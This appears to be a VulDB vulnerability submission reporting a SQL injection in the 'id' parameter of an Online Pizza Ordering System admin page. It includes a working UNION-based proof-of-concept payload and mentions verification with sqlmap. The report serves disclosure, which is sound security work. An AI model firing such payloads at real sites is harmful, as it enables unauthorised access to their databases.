| 标题 | Online Pizza Ordering System SQL Injection Vulnerability |
|---|
| 描述 | A SQL Injection Vulnerability has been discovered in Online Pizza Ordering System, the injectable parameter is 'id' in "/php-opos/admin/view_order.php?id=1 ".
An effective poc is id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b787171,0x41797470455479466251504f745764466d664a6b6d4e68744f747155636a61455a61636953684b6b,0x7178766b71),NULL,NULL,NULL,NULL-- -
You can also use sqlmap to verify it directly |
|---|
| 来源 | ⚠️ Vendor: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html |
|---|
| 用户 | WWesleywww (UID 43117) |
|---|
| 提交 | 2023-03-16 12時34分 (4 年前) |
|---|
| 管理 | 2023-03-17 07時22分 (19 hours later) |
|---|
| 状态 | 重复 |
|---|
| VulDB条目 | 222672 [SourceCodester Online Pizza Ordering System 1.0 /admin/view_order.php id SQL注入] |
|---|
| 积分 | 0 |
|---|